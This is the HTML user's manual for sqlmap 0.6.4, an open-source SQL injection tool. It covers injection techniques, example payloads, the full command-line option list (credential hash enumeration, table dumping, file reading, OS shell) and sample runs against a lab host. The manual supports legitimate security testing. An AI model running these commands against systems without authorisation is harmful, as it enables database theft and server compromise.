mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 09:36:35 +03:00
4363 lines
162 KiB
HTML
4363 lines
162 KiB
HTML
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|
|
<HTML>
|
|
<HEAD>
|
|
<META NAME="GENERATOR" CONTENT="LinuxDoc-Tools 0.9.50">
|
|
<TITLE>sqlmap user's manual</TITLE>
|
|
</HEAD>
|
|
<BODY>
|
|
<H1>sqlmap user's manual</H1>
|
|
|
|
<H2>by
|
|
<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A></H2>version 0.6.4, DDth of MMM 2009
|
|
<HR>
|
|
<EM>This document is the user's manual to use
|
|
<A HREF="http://sqlmap.sourceforge.net">sqlmap</A>.
|
|
Check the project
|
|
<A HREF="http://sqlmap.sourceforge.net">homepage</A>
|
|
for the latest version.</EM>
|
|
<HR>
|
|
<P>
|
|
<H2><A NAME="toc1">1.</A> <A HREF="README.html#s1">Introduction</A></H2>
|
|
|
|
<UL>
|
|
<LI><A NAME="toc1.1">1.1</A> <A HREF="README.html#ss1.1">Requirements</A>
|
|
<LI><A NAME="toc1.2">1.2</A> <A HREF="README.html#ss1.2">Scenario</A>
|
|
<LI><A NAME="toc1.3">1.3</A> <A HREF="README.html#ss1.3">Techniques</A>
|
|
</UL>
|
|
<P>
|
|
<H2><A NAME="toc2">2.</A> <A HREF="README.html#s2">Features</A></H2>
|
|
|
|
<P>
|
|
<H2><A NAME="toc3">3.</A> <A HREF="README.html#s3">Download and update</A></H2>
|
|
|
|
<P>
|
|
<H2><A NAME="toc4">4.</A> <A HREF="README.html#s4">License and copyright</A></H2>
|
|
|
|
<P>
|
|
<H2><A NAME="toc5">5.</A> <A HREF="README.html#s5">Usage</A></H2>
|
|
|
|
<UL>
|
|
<LI><A NAME="toc5.1">5.1</A> <A HREF="README.html#ss5.1">Output verbosity</A>
|
|
<LI><A NAME="toc5.2">5.2</A> <A HREF="README.html#ss5.2">Target</A>
|
|
<LI><A NAME="toc5.3">5.3</A> <A HREF="README.html#ss5.3">Request</A>
|
|
<LI><A NAME="toc5.4">5.4</A> <A HREF="README.html#ss5.4">Injection</A>
|
|
<LI><A NAME="toc5.5">5.5</A> <A HREF="README.html#ss5.5">Techniques</A>
|
|
<LI><A NAME="toc5.6">5.6</A> <A HREF="README.html#ss5.6">Fingerprint</A>
|
|
<LI><A NAME="toc5.7">5.7</A> <A HREF="README.html#ss5.7">Enumeration</A>
|
|
<LI><A NAME="toc5.8">5.8</A> <A HREF="README.html#ss5.8">File system access</A>
|
|
<LI><A NAME="toc5.9">5.9</A> <A HREF="README.html#ss5.9">Operating system access</A>
|
|
<LI><A NAME="toc5.10">5.10</A> <A HREF="README.html#ss5.10">Miscellaneous</A>
|
|
</UL>
|
|
<P>
|
|
<H2><A NAME="toc6">6.</A> <A HREF="README.html#s6">Disclaimer</A></H2>
|
|
|
|
<P>
|
|
<H2><A NAME="toc7">7.</A> <A HREF="README.html#s7">Authors</A></H2>
|
|
|
|
|
|
<HR>
|
|
<H2><A NAME="s1">1.</A> <A HREF="#toc1">Introduction</A></H2>
|
|
|
|
<P>sqlmap is an open source command-line automatic
|
|
<A HREF="http://www.google.com/search?q=SQL+injection">SQL injection</A>
|
|
tool.
|
|
Its goal is to detect and take advantage of SQL injection vulnerabilities
|
|
in web applications. Once it detects one or more SQL injections on the
|
|
target host, the user can choose among a variety of options to perform an
|
|
extensive back-end database management system fingerprint, retrieve DBMS
|
|
session user and database, enumerate users, password hashes, privileges,
|
|
databases, dump entire or user's specific DBMS tables/columns, run his own
|
|
SQL statement, read specific files on the file system and more.</P>
|
|
|
|
|
|
<H2><A NAME="ss1.1">1.1</A> <A HREF="#toc1.1">Requirements</A>
|
|
</H2>
|
|
|
|
<P>sqlmap is developed in
|
|
<A HREF="http://www.python.org">Python</A>,
|
|
a dynamic object-oriented interpreted programming language.
|
|
This makes the tool independent from the operating system since it only
|
|
requires the Python interpreter version equal or above to 2.4.
|
|
The interpreter is freely downloadable from its
|
|
<A HREF="http://python.org/download/">official site</A>.
|
|
To make it even easier, many GNU/Linux distributions come out of the box
|
|
with Python interpreter package installed and other Unices and MacOS X
|
|
too provide it packaged in their formats and ready to be installed.
|
|
Windows users can download and install the Python setup-ready installer
|
|
for x86, AMD64 and Itanium too.</P>
|
|
<P>Optionally, if you are running sqlmap on Windows, you may wish to install
|
|
<A HREF="http://ipython.scipy.org/moin/PyReadline/Intro">PyReadline</A>
|
|
library to be able to take advantage of the sqlmap TAB completion and
|
|
history support functionalities in the SQL shell and OS shell.
|
|
Note that these functionalities are available natively by Python standard
|
|
<A HREF="http://docs.python.org/library/readline.html">readline</A>
|
|
library on other operating systems.
|
|
You can also choose to install
|
|
<A HREF="http://psyco.sourceforge.net/">Psyco</A>
|
|
library to speed up the sqlmap algorithmic operations.</P>
|
|
|
|
|
|
<H2><A NAME="ss1.2">1.2</A> <A HREF="#toc1.2">Scenario</A>
|
|
</H2>
|
|
|
|
<P>Let's say that you are auditing a web application and found a web page
|
|
that accepts dynamic user-provided values on <CODE>GET</CODE> or <CODE>POST</CODE>
|
|
parameters or HTTP <CODE>Cookie</CODE> values or HTTP <CODE>User-Agent</CODE>
|
|
header value.
|
|
You now want to test if these are affected by a SQL injection
|
|
vulnerability, and if so, exploit them to retrieve as much information as
|
|
possible out of the web application's back-end database management system
|
|
or even be able to access the underlying operating system.</P>
|
|
<P>Consider that the target url is:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<CODE>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1</CODE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
<P>Assume that:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<CODE>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1</CODE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
<P>is the same page as the original one and:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<CODE>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2</CODE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
<P>differs from the original one, it means that you are in front of a SQL
|
|
injection vulnerability in the <CODE>id</CODE> <CODE>GET</CODE> parameter of the
|
|
<CODE>index.php</CODE> web application page which means that no IDS/IPS, no
|
|
web application firewall, no parameters' value sanitization is performed
|
|
on the server-side.</P>
|
|
<P>This is a quite common flaw in dynamic content web applications and it
|
|
does not depend upon the back-end database management system nor on the web
|
|
application programming language: it is a programmer code's security flaw.
|
|
The
|
|
<A HREF="http://www.owasp.org">Open Web Application Security Project</A>
|
|
rated on 2007 in their
|
|
<A HREF="http://www.owasp.org/index.php/Top_10_2007">OWASP Top Ten</A> survey this vulnerability as the
|
|
<A HREF="http://www.owasp.org/index.php/Top_10_2007-A2">most common</A> and important web application vulnerability, second only to
|
|
<A HREF="http://www.owasp.org/index.php/Top_10_2007-A1">Cross-Site Scripting</A>.</P>
|
|
<P>Back to the scenario, probably the SQL <CODE>SELECT</CODE> statemenet into
|
|
<CODE>get_int.php</CODE> has a syntax similar to the following SQL query, in
|
|
pseudo PHP code:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<CODE>$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];</CODE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
<P>As you can see, appending any other syntatically valid SQL condition after
|
|
a value for <CODE>id</CODE> such condition will take place when the web
|
|
application passes the query to the back-end database management system
|
|
that executes it, that is why the condition <CODE>id=1 AND 1=1</CODE> is valid
|
|
(<EM>True</EM>) and returns the same page as the original one, with the
|
|
same content and without showing any SQL error message.</P>
|
|
<P>Moreover, in this simple and easy to inject scenario it would be also
|
|
possible to append, not just one or more valid SQL condition(s), but also
|
|
stacked SQL queries, for instance something like <CODE>[...]&id=1;
|
|
ANOTHER SQL QUERY#</CODE> if the web application technology supports
|
|
<EM>stacked queries</EM>, also known as <EM>multiple statements</EM>.</P>
|
|
<P>Now that you found this SQL injection vulnerable parameter, you can
|
|
exploit it by manipulating the <CODE>id</CODE> parameter value in the HTTP
|
|
request.</P>
|
|
<P>There exist many
|
|
<A HREF="http://delicious.com/inquis/sqlinjection">resources</A>
|
|
on the Net explaining in depth how to prevent, how to detect and how to
|
|
exploit SQL injection vulnerabilities in web application and it is
|
|
recommended to read them if you are not familiar with the issue before
|
|
going ahead with sqlmap.</P>
|
|
<P>Passing the original address, <CODE>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1</CODE>
|
|
to sqlmap, the tool will automatically:</P>
|
|
<P>
|
|
<UL>
|
|
<LI>Identify the vulnerable parameter(s) (<CODE>id</CODE> in this scenario);</LI>
|
|
<LI>Depending on the user's options, sqlmap uses the <B>blind SQL
|
|
injection</B> or the <B>inband SQL injection</B> technique as described
|
|
in the following section to go ahead with the exploiting.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="ss1.3">1.3</A> <A HREF="#toc1.3">Techniques</A>
|
|
</H2>
|
|
|
|
<P>sqlmap implements three techniques to exploit a SQL injection
|
|
vulnerability:</P>
|
|
<P>
|
|
<UL>
|
|
<LI><B>Inferential blind SQL injection</B>: sqlmap appends to the
|
|
affected parameter in the HTTP request, a syntatically valid SQL statement
|
|
string containing a <CODE>SELECT</CODE> sub-statement, or any other SQL
|
|
statement whose the user want to retrieve the output.
|
|
For each HTTP response, by making a comparison based upon HTML page
|
|
content hashes, or string matches, with the original request, the tool
|
|
determines the output value of the statement character by character.
|
|
The bisection algorithm implemented in sqlmap to perform this technique
|
|
is able to fetch each output character with at maximum seven HTTP
|
|
requests.
|
|
This is sqlmap default SQL injection technique.</LI>
|
|
<LI><B>UNION query (inband) SQL injection</B>, also known as <B>Full
|
|
UNION query SQL injection</B>: sqlmap appends to the affected parameter
|
|
in the HTTP request, a syntatically valid SQL statement string starting
|
|
with a <CODE>UNION ALL SELECT</CODE>. This techique is useful if the web
|
|
application page passes the output of the <CODE>SELECT</CODE> statement to a
|
|
<CODE>for</CODE> cycle, or similar, so that each line of the query output is
|
|
printed on the page content.
|
|
sqlmap is also able to exploit <B>Partial UNION query SQL injection</B>
|
|
vulnerabilities which occur when the output of the statement is not cycled
|
|
in a for construct whereas only the first entry output is displayed.
|
|
This technique is much faster if the target url is affected by because
|
|
in a single HTTP response it returns the whole query output or a entry
|
|
per each response within the page content.
|
|
This SQL injection technique is an alternative to the first one.</LI>
|
|
<LI><B>Stacked queries support</B>, also known as <B>multiple
|
|
statements support</B>: sqlmap tests if the web application supports
|
|
stacked queries then, in case it does support, it appends to the affected
|
|
parameter in the HTTP request, a semi-colon (<CODE>;</CODE>) followed by the
|
|
SQL statement to be executed. This technique is useful to run SQL
|
|
statements other than <CODE>SELECT</CODE> like, for instance, <EM>data
|
|
definition</EM> or <EM>data manipulation</EM> statements possibly leading
|
|
to file system read and write access and operating system command
|
|
execution depending on the underlying back-end database management system
|
|
and the session user privileges.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="s2">2.</A> <A HREF="#toc2">Features</A></H2>
|
|
|
|
<P>Major features implemented in sqlmap include:</P>
|
|
<P>
|
|
<UL>
|
|
<LI>Full support for <B>MySQL</B>, <B>Oracle</B>, <B>PostgreSQL</B>
|
|
and <B>Microsoft SQL Server</B> back-end database management systems.
|
|
Besides these four database management systems software. sqlmap can also
|
|
identify Microsoft Access, DB2, Informix, Sybase and Interbase.
|
|
</LI>
|
|
<LI>Full support for three SQL injection techniques: <B> inferential
|
|
blind SQL injection</B>, <B>UNION query (inband) SQL injection</B> and
|
|
<B>stacked queries (multiple statements) support</B>. sqlmap can also
|
|
test for <B>time based blind SQL injection</B>.
|
|
</LI>
|
|
<LI><B>Extensive back-end database management system fingerprint</B>
|
|
based upon
|
|
<A HREF="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html">inband error messages</A>,
|
|
<A HREF="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html">banner parsing</A>,
|
|
<A HREF="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html">functions output comparison</A> and
|
|
<A HREF="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html">specific features</A>
|
|
such as MySQL comment injection. It is also possible to force the back-end
|
|
database management system name if you already know it. sqlmap is also able
|
|
to fingerprint the web server operating system, the web application
|
|
technology and, in some circumstances, the back-end DBMS operating system.
|
|
</LI>
|
|
<LI>Options to retrieve on all four back-end database management system
|
|
<B>banner</B>, <B>current user</B>, <B>current database</B>,
|
|
enumerate <B>users</B>, <B>users password hashes</B>, <B>users
|
|
privileges</B>, <B>databases</B>, <B>tables</B>, <B>columns</B>,
|
|
dump <B>tables entries</B>, dump <B>whole database management
|
|
system</B> and run your <B>own SQL statement</B>.
|
|
</LI>
|
|
<LI>If the back-end database management system is MySQL it is also
|
|
possible to <B>read a specific file content</B> from the ile system and,
|
|
in some circumstances, <B>prompt for an interactive operating system
|
|
shell</B> with TAB completion and history support.
|
|
</LI>
|
|
<LI>It is possible to provide a single target URL, get the list of
|
|
targets from
|
|
<A HREF="http://portswigger.net/suite/">Burp proxy</A>
|
|
requests log file path or
|
|
<A HREF="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project">WebScarab proxy</A>
|
|
<CODE>conversations/</CODE> folder path or get the list of targets by providing
|
|
sqlmap with a Google dork which queries
|
|
<A HREF="http://www.google.com">Google</A> search engine and
|
|
parses its results page.
|
|
</LI>
|
|
<LI>Automatically tests all provided <B>GET</B> parameters,
|
|
<B>POST</B> parameters, HTTP <B>Cookie</B> header values and HTTP
|
|
<B>User-Agent</B> header value to find the dynamic ones, which means
|
|
those that vary the HTTP response page content.
|
|
On the dynamic ones sqlmap automatically tests and detects the ones
|
|
affected by SQL injection. Each dynamic parameter is tested for
|
|
<EM>numeric</EM>, <EM>single quoted string</EM>, <EM>double quoted
|
|
string</EM> and all of these three datatypes with zero to two parenthesis
|
|
to correctly detect which is the <CODE>SELECT</CODE> statement syntax to
|
|
perform further injections with. It is also possible to specify the
|
|
parameter(s) that you want to perform tests and use for injection on.
|
|
</LI>
|
|
<LI>Option to specify the <B>maximum number of concurrent HTTP
|
|
requests</B> to speed up the blind SQL injection algorithms
|
|
(multithreading). It is also possible to specify the number of seconds to
|
|
wait between each HTTP request.
|
|
</LI>
|
|
<LI><B>HTTP <CODE>Cookie</CODE> header</B> string support, useful when the
|
|
web application requires authentication based upon cookies and you have
|
|
such data or in case you just want to test for and exploit SQL injection
|
|
on such header.
|
|
</LI>
|
|
<LI>Automatically handle <B>HTTP <CODE>Set-Cookie</CODE> header</B> from
|
|
target url, re-establishing of the session if it expires. Test and exploit
|
|
on these values is supported too.
|
|
</LI>
|
|
<LI><B>HTTP Basic and Digest authentications</B> support.
|
|
</LI>
|
|
<LI><B>Anonymous HTTP proxy</B> support to pass by the requests to the
|
|
target URL that works also with HTTPS requests.
|
|
</LI>
|
|
<LI>Options to fake the <B>HTTP <CODE>Referer</CODE> header</B> value and
|
|
the <B>HTTP <CODE>User-Agent</CODE> header</B> value specified by user or
|
|
randomly selected from a text file.
|
|
</LI>
|
|
<LI>Support to increase the <B>verbosity level of output messages</B>:
|
|
there exist <B>six levels</B>. The default level is <B>1</B> in which
|
|
information, warnings, errors and tracebacks, if they occur, will be shown.
|
|
</LI>
|
|
<LI>Granularity in the user's options.
|
|
</LI>
|
|
<LI><B>Estimated time of arrival</B> support for each query, updated
|
|
in real time while fetching the information to give to the user an
|
|
overview on how long it will take to retrieve the output.
|
|
</LI>
|
|
<LI>Support to save the session (queries and their output, even if
|
|
partially retrieved) in real time while fetching the data on a text file
|
|
and <B>resume the injection from this file in a second time</B>.
|
|
</LI>
|
|
<LI>Support to read options from a configuration INI file rather than
|
|
specify each time all of the options on the command line. Support also to
|
|
save command line options on a configuration INI file.
|
|
</LI>
|
|
<LI>Integration with other IT security related open source projects,
|
|
<A HREF="http://metasploit.com/framework/">Metasploit</A> and
|
|
<A HREF="http://w3af.sourceforge.net/">w3af</A>.
|
|
</LI>
|
|
<LI><B>File system</B> read and write access and <B>operating
|
|
system</B> command execution by providing own queries, depending on the
|
|
session user privileges and back-end DBMS.
|
|
</LI>
|
|
<LI><B>PHP setting <CODE>magic_quotes_gpc</CODE> bypass</B> by encoding
|
|
every query string, between single quotes, with <CODE>CHAR</CODE>, or similar,
|
|
database management system function.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="s3">3.</A> <A HREF="#toc3">Download and update</A></H2>
|
|
|
|
<P>sqlmap can be downloaded from its
|
|
<A HREF="http://sourceforge.net/project/showfiles.php?group_id=171598&package_id=196107">SourceForge File List page</A>.
|
|
It is available in various formats:</P>
|
|
<P>
|
|
<UL>
|
|
<LI>
|
|
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4.tar.gz">Source gzip compressed</A> operating system independent.
|
|
</LI>
|
|
<LI>
|
|
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4.tar.bz2">Source bzip2 compressed</A> operating system independent.
|
|
</LI>
|
|
<LI>
|
|
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4.zip">Source zip compressed</A> operating system independent.
|
|
</LI>
|
|
<LI>
|
|
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.4-1_all.deb">DEB binary package</A> architecture independent for Debian and any
|
|
other Debian derivated GNU/Linux distribution.
|
|
</LI>
|
|
<LI>
|
|
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4-1.noarch.rpm">RPM binary package</A> architecture independent for Fedora and any
|
|
other operating system that can install RPM packages.
|
|
</LI>
|
|
<LI>
|
|
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.4_exe.zip">Portable executable for Windows</A> that <B>does not require the Python
|
|
interpreter</B> to be installed on the operating system.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<P>Whatever way you downloaded sqlmap, run it with <CODE>--update</CODE>
|
|
option to update it to the latest stable version available on its
|
|
<A HREF="http://sourceforge.net/project/showfiles.php?group_id=171598&package_id=196107">SourceForge File List page</A>.</P>
|
|
|
|
<P>You can also checkout the source code from the sqlmap
|
|
<A HREF="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/">Subversion</A>
|
|
repository to give a try to the development release:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="s4">4.</A> <A HREF="#toc4">License and copyright</A></H2>
|
|
|
|
<P>sqlmap is released under the terms of the
|
|
<A HREF="http://www.gnu.org/licenses/old-licenses/gpl-2.0.html">General Public License v2</A>.
|
|
sqlmap is copyrighted by
|
|
<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A>
|
|
and
|
|
<A HREF="mailto:daniele.bellucci@gmail.com">Daniele Bellucci</A>.</P>
|
|
|
|
|
|
<H2><A NAME="s5">5.</A> <A HREF="#toc5">Usage</A></H2>
|
|
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -h
|
|
|
|
sqlmap/0.6.4 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
|
|
|
Usage: sqlmap.py [options]
|
|
|
|
Options:
|
|
--version show program's version number and exit
|
|
-h, --help show this help message and exit
|
|
-v VERBOSE Verbosity level: 0-5 (default 1)
|
|
|
|
Target:
|
|
At least one of these options has to be specified to set the source to
|
|
get target urls from.
|
|
|
|
-u URL, --url=URL Target url
|
|
-l LIST Parse targets from Burp or WebScarab logs
|
|
-g GOOGLEDORK Process Google dork results as target urls
|
|
-c CONFIGFILE Load options from a configuration INI file
|
|
|
|
Request:
|
|
These options can be used to specify how to connect to the target url.
|
|
|
|
--method=METHOD HTTP method, GET or POST (default: GET)
|
|
--data=DATA Data string to be sent through POST
|
|
--cookie=COOKIE HTTP Cookie header
|
|
--referer=REFERER HTTP Referer header
|
|
--user-agent=AGENT HTTP User-Agent header
|
|
-a USERAGENTSFILE Load a random HTTP User-Agent header from file
|
|
--headers=HEADERS Extra HTTP headers '\n' separated
|
|
--auth-type=ATYPE HTTP Authentication type, value: Basic or Digest
|
|
--auth-cred=ACRED HTTP Authentication credentials, value: name:password
|
|
--proxy=PROXY Use a HTTP proxy to connect to the target url
|
|
--threads=THREADS Maximum number of concurrent HTTP requests (default 1)
|
|
--delay=DELAY Delay in seconds between each HTTP request
|
|
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
|
|
|
|
Injection:
|
|
These options can be used to specify which parameters to test for,
|
|
provide custom injection payloads and how to parse and compare HTTP
|
|
responses page content when using the blind SQL injection technique.
|
|
|
|
-p TESTPARAMETER Testable parameter(s)
|
|
--dbms=DBMS Force back-end DBMS to this value
|
|
--prefix=PREFIX Injection payload prefix string
|
|
--postfix=POSTFIX Injection payload postfix string
|
|
--string=STRING String to match in page when the query is valid
|
|
--regexp=REGEXP Regexp to match in page when the query is valid
|
|
--excl-str=ESTRING String to be excluded before calculating page hash
|
|
--excl-reg=EREGEXP Regexp matches to be excluded before calculating page
|
|
hash
|
|
|
|
Techniques:
|
|
These options can be used to test for specific SQL injection technique
|
|
or to use one of them to exploit the affected parameter(s) rather than
|
|
using the default blind SQL injection technique.
|
|
|
|
--stacked-test Test for stacked queries (multiple statements) support
|
|
--time-test Test for time based blind SQL injection
|
|
--union-test Test for UNION query (inband) SQL injection
|
|
--union-tech=UTECH Technique to test for UNION query SQL injection
|
|
--union-use Use the UNION query (inband) SQL injection to retrieve
|
|
the queries output. No need to go blind
|
|
|
|
Fingerprint:
|
|
-f, --fingerprint Perform an extensive DBMS version fingerprint
|
|
|
|
Enumeration:
|
|
These options can be used to enumerate the back-end database
|
|
management system information, structure and data contained in the
|
|
tables. Moreover you can run your own SQL statements.
|
|
|
|
-b, --banner Retrieve DBMS banner
|
|
--current-user Retrieve DBMS current user
|
|
--current-db Retrieve DBMS current database
|
|
--is-dba Detect if the DBMS current user is DBA
|
|
--users Enumerate DBMS users
|
|
--passwords Enumerate DBMS users password hashes (opt: -U)
|
|
--privileges Enumerate DBMS users privileges (opt: -U)
|
|
--dbs Enumerate DBMS databases
|
|
--tables Enumerate DBMS database tables (opt: -D)
|
|
--columns Enumerate DBMS database table columns (req:-T opt:-D)
|
|
--dump Dump DBMS database table entries (req: -T, opt: -D,
|
|
-C, --start, --stop)
|
|
--dump-all Dump all DBMS databases tables entries
|
|
-D DB DBMS database to enumerate
|
|
-T TBL DBMS database table to enumerate
|
|
-C COL DBMS database table column to enumerate
|
|
-U USER DBMS user to enumerate
|
|
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
|
|
--start=LIMITSTART First table entry to dump
|
|
--stop=LIMITSTOP Last table entry to dump
|
|
--sql-query=QUERY SQL statement to be executed
|
|
--sql-shell Prompt for an interactive SQL shell
|
|
|
|
File system access:
|
|
These options can be used to access the back-end database management
|
|
system file system taking advantage of native DBMS functions or
|
|
specific DBMS design weaknesses.
|
|
|
|
--read-file=RFILE Read a specific OS file content (only on MySQL)
|
|
--write-file=WFILE Write to a specific OS file (not yet available)
|
|
|
|
Operating system access:
|
|
This option can be used to access the back-end database management
|
|
system operating system taking advantage of specific DBMS design
|
|
weaknesses.
|
|
|
|
--os-shell Prompt for an interactive OS shell (only on PHP/MySQL
|
|
environment with a writable directory within the web
|
|
server document root for the moment)
|
|
|
|
Miscellaneous:
|
|
--eta Retrieve each query output length and calculate the
|
|
estimated time of arrival in real time
|
|
--update Update sqlmap to the latest stable version
|
|
-s SESSIONFILE Save and resume all data retrieved on a session file
|
|
--save Save options on a configuration INI file
|
|
--batch Never ask for user input, use the default behaviour
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="ss5.1">5.1</A> <A HREF="#toc5.1">Output verbosity</A>
|
|
</H2>
|
|
|
|
<P>Option: <CODE>-v</CODE></P>
|
|
|
|
<P>Verbose options can be used to set the verbosity level of output messages.
|
|
There exist six levels.
|
|
The default level is <B>1</B> in which information, warnings, errors and
|
|
tracebacks, if they occur, will be shown.
|
|
Level <B>2</B> shows also debug messages, level <B>3</B> shows also
|
|
HTTP requests with all HTTP headers sent, level <B>4</B> shows also HTTP
|
|
responses headers and level <B>5</B> shows also HTTP responses page
|
|
content.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target (verbosity level <B>1</B>):</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1
|
|
|
|
[hh:mm:12] [INFO] testing connection to the target url
|
|
[hh:mm:12] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:14] [INFO] url is stable
|
|
[hh:mm:14] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:14] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:14] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:14] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:14] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:14] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
|
|
[hh:mm:14] [INFO] testing unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:14] [INFO] confirming unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:14] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
|
|
[hh:mm:14] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:14] [INFO] the injectable parameter requires 0 parenthesis
|
|
[hh:mm:14] [INFO] testing MySQL
|
|
[hh:mm:14] [INFO] query: CONCAT(CHAR(53), CHAR(53))
|
|
[hh:mm:14] [INFO] retrieved: 55
|
|
[hh:mm:14] [INFO] performed 20 queries in 0 seconds
|
|
[hh:mm:14] [INFO] confirming MySQL
|
|
[hh:mm:14] [INFO] query: LENGTH(CHAR(53))
|
|
[hh:mm:14] [INFO] retrieved: 1
|
|
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:14] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
|
|
[hh:mm:14] [INFO] retrieved: 5
|
|
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target (verbosity level <B>2</B>):</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 2
|
|
|
|
[hh:mm:03] [DEBUG] initializing the configuration
|
|
[hh:mm:03] [DEBUG] initializing the knowledge base
|
|
[hh:mm:03] [DEBUG] cleaning up configuration parameters
|
|
[hh:mm:03] [DEBUG] setting the HTTP method to GET
|
|
[hh:mm:03] [DEBUG] creating HTTP requests opener object
|
|
[hh:mm:03] [DEBUG] parsing XML queries file
|
|
[hh:mm:03] [INFO] testing connection to the target url
|
|
[hh:mm:03] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:04] [INFO] url is stable
|
|
[hh:mm:04] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:04] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:04] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:04] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:04] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:04] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
|
|
[hh:mm:04] [INFO] testing unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:04] [INFO] confirming unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:04] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target (verbosity level <B>3</B>):</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 3
|
|
|
|
[...]
|
|
[hh:mm:54] [INFO] testing connection to the target url
|
|
[hh:mm:54] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 192.168.1.121:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
[...]
|
|
[hh:mm:55] [INFO] testing MySQL
|
|
[hh:mm:55] [INFO] query: CONCAT(CHAR(54), CHAR(54))
|
|
